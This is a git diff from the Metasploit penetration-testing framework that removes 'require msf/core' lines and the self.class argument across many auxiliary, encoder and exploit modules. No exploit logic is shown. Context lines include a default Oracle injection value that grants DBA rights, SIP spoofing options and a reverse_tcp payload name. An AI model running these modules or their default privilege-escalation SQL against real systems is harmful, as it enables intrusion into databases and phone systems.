diff --git a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb index aa36759b4c..28d694bc0c 100644 --- a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb index 163d335998..7ef34fcca7 100644 --- a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb +++ b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb index 701050daf0..b598c8df97 100644 --- a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb index 18c8f676f8..ad4a0d1ebf 100644 --- a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb index 50afc10cc0..185d9ffdbe 100644 --- a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index 51022dbfd7..92f673525e 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary 'The file that contains a list of probable passwords.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') ]) - ], self.class) + ]) end def report_cred(opts) diff --git a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb index 6f35f80783..108199a9fc 100644 --- a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb +++ b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']), OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb index 2c7a8005c3..18966f5adc 100644 --- a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb +++ b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -43,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']), OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']), OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/voip/sip_deregister.rb b/modules/auxiliary/voip/sip_deregister.rb index d934835c9b..a5016985a0 100644 --- a/modules/auxiliary/voip/sip_deregister.rb +++ b/modules/auxiliary/voip/sip_deregister.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -31,12 +29,12 @@ class MetasploitModule < Msf::Auxiliary OptString.new('SRCADDR', [true, "The sip address the spoofed deregister request is coming from",'192.168.1.1']), OptString.new('EXTENSION', [true, "The specific extension or name to target", '100']), OptString.new('DOMAIN', [true, "Use a specific SIP domain", 'example.com']) - ], self.class) + ]) register_advanced_options( [ OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]), OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060]) - ], self.class) + ]) end diff --git a/modules/auxiliary/voip/sip_invite_spoof.rb b/modules/auxiliary/voip/sip_invite_spoof.rb index 96468a23d9..dae75306a7 100644 --- a/modules/auxiliary/voip/sip_invite_spoof.rb +++ b/modules/auxiliary/voip/sip_invite_spoof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp @@ -33,12 +31,12 @@ class MetasploitModule < Msf::Auxiliary OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"]), OptString.new('EXTENSION', [false, "The specific extension or name to target", nil]), OptString.new('DOMAIN', [false, "Use a specific SIP domain", nil]) - ], self.class) + ]) register_advanced_options( [ OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]), OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060]) - ], self.class) + ]) end diff --git a/modules/auxiliary/voip/telisca_ips_lock_control.rb b/modules/auxiliary/voip/telisca_ips_lock_control.rb index 690fe6c93a..b39db44ca3 100644 --- a/modules/auxiliary/voip/telisca_ips_lock_control.rb +++ b/modules/auxiliary/voip/telisca_ips_lock_control.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary [ OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']), OptString.new('PHONENAME', [true, 'The name of the target phone']) - ], self.class) + ]) end diff --git a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb index 41769d2e7b..5cb1078e3a 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary def initialize @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('DNS_SERVER',[false, "Specifies a DNS Server"]), OptInt.new('COUNT', [false, "Number of intervals to loop",1]), OptInt.new('DELAY', [false, "Delay in seconds between intervals",3]) - ],self.class) + ]) end def run diff --git a/modules/auxiliary/vsploit/malware/dns/dns_query.rb b/modules/auxiliary/vsploit/malware/dns/dns_query.rb index 0cd89c9c3a..c737c53194 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_query.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_query.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary def initialize @@ -20,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('DNS_SERVER',[false, "Specifies a DNS Server"]), OptInt.new('COUNT', [false, "Number of intervals to loop",2]), OptInt.new('DELAY', [false, "Delay in seconds between intervals",3]) - ],self.class) + ]) end def run diff --git a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb index 27821cd788..e9215f5e3a 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary def initialize @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('DNS_SERVER',[false, "Specifies a DNS Server"]), OptInt.new('COUNT', [false, "Number of intervals to loop",1]), OptInt.new('DELAY', [false, "Delay in seconds between intervals",3]) - ],self.class) + ]) end def run diff --git a/modules/auxiliary/vsploit/pii/email_pii.rb b/modules/auxiliary/vsploit/pii/email_pii.rb index bd317eb561..5f897d1d06 100644 --- a/modules/auxiliary/vsploit/pii/email_pii.rb +++ b/modules/auxiliary/vsploit/pii/email_pii.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('RHOST', [true, "SMTP server address",'127.0.0.1']), OptString.new('RPORT', [true, "SMTP server port",'25']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/vsploit/pii/web_pii.rb b/modules/auxiliary/vsploit/pii/web_pii.rb index f65a49e748..9c04602730 100644 --- a/modules/auxiliary/vsploit/pii/web_pii.rb +++ b/modules/auxiliary/vsploit/pii/web_pii.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('META_REFRESH', [ false, "Set page to auto refresh.", false]), OptInt.new('REFRESH_TIME', [ false, "Set page refresh interval.", 15]), OptInt.new('ENTRIES', [ false, "PII Entry Count", 1000]) - ],self.class) + ]) end diff --git a/modules/encoders/cmd/echo.rb b/modules/encoders/cmd/echo.rb index 9428e684a1..f1d9928396 100644 --- a/modules/encoders/cmd/echo.rb +++ b/modules/encoders/cmd/echo.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder diff --git a/modules/encoders/cmd/generic_sh.rb b/modules/encoders/cmd/generic_sh.rb index cf565b8388..b42a8c852d 100644 --- a/modules/encoders/cmd/generic_sh.rb +++ b/modules/encoders/cmd/generic_sh.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder diff --git a/modules/encoders/cmd/ifs.rb b/modules/encoders/cmd/ifs.rb index 431d0a54f7..d0eaa37f68 100644 --- a/modules/encoders/cmd/ifs.rb +++ b/modules/encoders/cmd/ifs.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder diff --git a/modules/encoders/cmd/perl.rb b/modules/encoders/cmd/perl.rb index 40c8ab0871..d5a64d8758 100644 --- a/modules/encoders/cmd/perl.rb +++ b/modules/encoders/cmd/perl.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb index ccadc43acf..7ef1ad0dda 100644 --- a/modules/encoders/cmd/powershell_base64.rb +++ b/modules/encoders/cmd/powershell_base64.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Encoder Rank = ExcellentRanking diff --git a/modules/encoders/cmd/printf_php_mq.rb b/modules/encoders/cmd/printf_php_mq.rb index d0bf51c6d7..58330a2cf5 100644 --- a/modules/encoders/cmd/printf_php_mq.rb +++ b/modules/encoders/cmd/printf_php_mq.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Encoder # Has some issues, but overall it's pretty good diff --git a/modules/encoders/generic/eicar.rb b/modules/encoders/generic/eicar.rb index 280389b784..39c8434cac 100644 --- a/modules/encoders/generic/eicar.rb +++ b/modules/encoders/generic/eicar.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Encoder # Set to ManualRanking because actually using ths encoder will diff --git a/modules/encoders/generic/none.rb b/modules/encoders/generic/none.rb index 601c77b0ea..c63ff5e4fa 100644 --- a/modules/encoders/generic/none.rb +++ b/modules/encoders/generic/none.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb index f65650fdfc..45fb1305c8 100644 --- a/modules/encoders/mipsbe/byte_xori.rb +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'metasm' diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb index e1f5d061d1..453a4b9341 100644 --- a/modules/encoders/mipsbe/longxor.rb +++ b/modules/encoders/mipsbe/longxor.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'metasm' diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb index d620e9d82a..72e1581797 100644 --- a/modules/encoders/mipsle/byte_xori.rb +++ b/modules/encoders/mipsle/byte_xori.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'metasm' diff --git a/modules/encoders/mipsle/longxor.rb b/modules/encoders/mipsle/longxor.rb index 10c5a368ea..382b833c19 100644 --- a/modules/encoders/mipsle/longxor.rb +++ b/modules/encoders/mipsle/longxor.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'metasm' diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb index ae99c2170b..138ad12385 100644 --- a/modules/encoders/php/base64.rb +++ b/modules/encoders/php/base64.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder Rank = GreatRanking diff --git a/modules/encoders/ppc/longxor.rb b/modules/encoders/ppc/longxor.rb index b497b5ee11..bd49274167 100644 --- a/modules/encoders/ppc/longxor.rb +++ b/modules/encoders/ppc/longxor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder::Xor diff --git a/modules/encoders/ppc/longxor_tag.rb b/modules/encoders/ppc/longxor_tag.rb index 797d9cf259..1c635400e4 100644 --- a/modules/encoders/ppc/longxor_tag.rb +++ b/modules/encoders/ppc/longxor_tag.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder::Xor diff --git a/modules/encoders/sparc/longxor_tag.rb b/modules/encoders/sparc/longxor_tag.rb index 02759315a5..06f162dd08 100644 --- a/modules/encoders/sparc/longxor_tag.rb +++ b/modules/encoders/sparc/longxor_tag.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder::XorAdditiveFeedback diff --git a/modules/encoders/x64/xor.rb b/modules/encoders/x64/xor.rb index cfb39f5634..e0a1e481b7 100644 --- a/modules/encoders/x64/xor.rb +++ b/modules/encoders/x64/xor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder::Xor diff --git a/modules/encoders/x64/zutto_dekiru.rb b/modules/encoders/x64/zutto_dekiru.rb index 5adea8fbcb..8dc394f64b 100644 --- a/modules/encoders/x64/zutto_dekiru.rb +++ b/modules/encoders/x64/zutto_dekiru.rb @@ -1,5 +1,4 @@ require 'metasm' -require 'msf/core' require 'rex/nop/opty2' class MetasploitModule < Msf::Encoder::Xor diff --git a/modules/encoders/x86/add_sub.rb b/modules/encoders/x86/add_sub.rb index 0175313484..32916d1690 100644 --- a/modules/encoders/x86/add_sub.rb +++ b/modules/encoders/x86/add_sub.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Encoder Rank = ManualRanking diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index 3166ef9517..fad71a4e82 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/encoder/alpha2/alpha_mixed' class MetasploitModule < Msf::Encoder::Alphanum diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index e63122480c..c8bdf3257d 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/encoder/alpha2/alpha_upper' diff --git a/modules/encoders/x86/avoid_underscore_tolower.rb b/modules/encoders/x86/avoid_underscore_tolower.rb index af1818e684..714be4b93c 100644 --- a/modules/encoders/x86/avoid_underscore_tolower.rb +++ b/modules/encoders/x86/avoid_underscore_tolower.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder # This encoder has a manual ranking because it should only be used in cases diff --git a/modules/encoders/x86/avoid_utf8_tolower.rb b/modules/encoders/x86/avoid_utf8_tolower.rb index a90ee8a66b..641c05dfe0 100644 --- a/modules/encoders/x86/avoid_utf8_tolower.rb +++ b/modules/encoders/x86/avoid_utf8_tolower.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - # # NOTE: Read this if you plan on using this encoder: diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb index b3ddd8612d..e0b7d32555 100644 --- a/modules/encoders/x86/bloxor.rb +++ b/modules/encoders/x86/bloxor.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/encoder/bloxor/bloxor' # diff --git a/modules/encoders/x86/bmp_polyglot.rb b/modules/encoders/x86/bmp_polyglot.rb index d758825bca..e7dc242717 100644 --- a/modules/encoders/x86/bmp_polyglot.rb +++ b/modules/encoders/x86/bmp_polyglot.rb @@ -4,8 +4,6 @@ ## require 'rex/poly' -require 'msf/core' - =begin [BITS 32] diff --git a/modules/encoders/x86/call4_dword_xor.rb b/modules/encoders/x86/call4_dword_xor.rb index 3a2bf89737..0505462fcb 100644 --- a/modules/encoders/x86/call4_dword_xor.rb +++ b/modules/encoders/x86/call4_dword_xor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder::Xor diff --git a/modules/encoders/x86/context_cpuid.rb b/modules/encoders/x86/context_cpuid.rb index 9181b1786f..10f3364b60 100644 --- a/modules/encoders/x86/context_cpuid.rb +++ b/modules/encoders/x86/context_cpuid.rb @@ -4,8 +4,6 @@ ## require 'rex/poly' -require 'msf/core' - class MetasploitModule < Msf::Encoder::XorAdditiveFeedback # Manual ranking because the cpuid value is generated and supplied @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback [ true, "CPUID key from target host (see tools/context/cpuid-key utility)", "0x00000000"]), - ], self.class) + ]) end def obtain_key(buf, badchars, state) diff --git a/modules/encoders/x86/context_stat.rb b/modules/encoders/x86/context_stat.rb index c7ac475cd6..72490cff96 100644 --- a/modules/encoders/x86/context_stat.rb +++ b/modules/encoders/x86/context_stat.rb @@ -4,8 +4,6 @@ ## require 'rex/poly' -require 'msf/core' - class MetasploitModule < Msf::Encoder::XorAdditiveFeedback # Manual ranking because the stat(2) key is generated and supplied @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback "STAT key from target host (see tools/context/stat-key utility)", "0x00000000" ]), OptString.new('STAT_FILE', [ true, "name of file to stat(2)", "/bin/ls" ]), - ], self.class) + ]) end def obtain_key(buf, badchars, state) diff --git a/modules/encoders/x86/context_time.rb b/modules/encoders/x86/context_time.rb index 06ec12c266..07707b6aee 100644 --- a/modules/encoders/x86/context_time.rb +++ b/modules/encoders/x86/context_time.rb @@ -4,8 +4,6 @@ ## require 'rex/poly' -require 'msf/core' - class MetasploitModule < Msf::Encoder::XorAdditiveFeedback # Manual ranking because the time(2) key is generated and supplied @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback [ true, "TIME key from target host (see tools/context/time-key utility)", "0x00000000"]) - ], self.class) + ]) end def obtain_key(buf, badchars, state) diff --git a/modules/encoders/x86/countdown.rb b/modules/encoders/x86/countdown.rb index d90556073a..a52dc1e734 100644 --- a/modules/encoders/x86/countdown.rb +++ b/modules/encoders/x86/countdown.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder::Xor diff --git a/modules/encoders/x86/fnstenv_mov.rb b/modules/encoders/x86/fnstenv_mov.rb index 685635f96a..5a0fec1a47 100644 --- a/modules/encoders/x86/fnstenv_mov.rb +++ b/modules/encoders/x86/fnstenv_mov.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder::Xor diff --git a/modules/encoders/x86/jmp_call_additive.rb b/modules/encoders/x86/jmp_call_additive.rb index a0f9f7c2c0..fa1c46c8e1 100644 --- a/modules/encoders/x86/jmp_call_additive.rb +++ b/modules/encoders/x86/jmp_call_additive.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Encoder::XorAdditiveFeedback diff --git a/modules/encoders/x86/nonalpha.rb b/modules/encoders/x86/nonalpha.rb index 656adc6731..172c73a8be 100644 --- a/modules/encoders/x86/nonalpha.rb +++ b/modules/encoders/x86/nonalpha.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/encoder/nonalpha' diff --git a/modules/encoders/x86/nonupper.rb b/modules/encoders/x86/nonupper.rb index 317b07b8bc..c930fe923a 100644 --- a/modules/encoders/x86/nonupper.rb +++ b/modules/encoders/x86/nonupper.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/encoder/nonupper' diff --git a/modules/encoders/x86/opt_sub.rb b/modules/encoders/x86/opt_sub.rb index e214b9f108..a494b0bab2 100644 --- a/modules/encoders/x86/opt_sub.rb +++ b/modules/encoders/x86/opt_sub.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Encoder Rank = ManualRanking diff --git a/modules/encoders/x86/service.rb b/modules/encoders/x86/service.rb index de2d780d2f..27da8df89c 100644 --- a/modules/encoders/x86/service.rb +++ b/modules/encoders/x86/service.rb @@ -1,6 +1,4 @@ require 'metasm' -require 'msf/core' - class MetasploitModule < Msf::Encoder Rank = ManualRanking diff --git a/modules/encoders/x86/shikata_ga_nai.rb b/modules/encoders/x86/shikata_ga_nai.rb index 76ff8908c9..563b0f4c40 100644 --- a/modules/encoders/x86/shikata_ga_nai.rb +++ b/modules/encoders/x86/shikata_ga_nai.rb @@ -5,8 +5,6 @@ require 'rex/poly' -require 'msf/core' - class MetasploitModule < Msf::Encoder::XorAdditiveFeedback diff --git a/modules/encoders/x86/single_static_bit.rb b/modules/encoders/x86/single_static_bit.rb index 3cc1976a5c..0e5ab48239 100644 --- a/modules/encoders/x86/single_static_bit.rb +++ b/modules/encoders/x86/single_static_bit.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - # # NOTE: this encoder currently has only be tested using bit 5 set to on. # diff --git a/modules/encoders/x86/unicode_mixed.rb b/modules/encoders/x86/unicode_mixed.rb index d33c46b153..c30956529e 100644 --- a/modules/encoders/x86/unicode_mixed.rb +++ b/modules/encoders/x86/unicode_mixed.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/encoder/alpha2/unicode_mixed' diff --git a/modules/encoders/x86/unicode_upper.rb b/modules/encoders/x86/unicode_upper.rb index d04c1b4bf6..c049f82c46 100644 --- a/modules/encoders/x86/unicode_upper.rb +++ b/modules/encoders/x86/unicode_upper.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/encoder/alpha2/unicode_upper' diff --git a/modules/exploits/aix/local/ibstat_path.rb b/modules/exploits/aix/local/ibstat_path.rb index f1b171b225..c28829086b 100644 --- a/modules/exploits/aix/local/ibstat_path.rb +++ b/modules/exploits/aix/local/ibstat_path.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb index cae0405028..f974f5ee56 100644 --- a/modules/exploits/aix/rpc_cmsd_opcode21.rb +++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb index 758de4da37..27a6b75d66 100644 --- a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb +++ b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/android/adb/adb_server_exec.rb b/modules/exploits/android/adb/adb_server_exec.rb index 599dfe91d2..6d7709aec7 100644 --- a/modules/exploits/android/adb/adb_server_exec.rb +++ b/modules/exploits/android/adb/adb_server_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/adb' class MetasploitModule < Msf::Exploit::Remote @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(5555), OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index 6eb7887d6f..78f16de9c6 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'digest/md5' class MetasploitModule < Msf::Exploit::Remote @@ -54,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('APK_VERSION', [ false, "The update version to advertise to the client", "1337" ]) - ], self.class) + ]) deregister_options('JsObfuscate') end diff --git a/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb b/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb index 5e40121d5a..72f037d167 100644 --- a/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb +++ b/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Space' => 2048, 'DisableNops' => true, }, - #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' }, + #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' }, 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X64, ARCH_MIPSLE], 'Targets' => @@ -354,7 +352,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) =end end diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 8154bd8d76..abe393c7a6 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/android' class MetasploitModule < Msf::Exploit::Remote diff --git 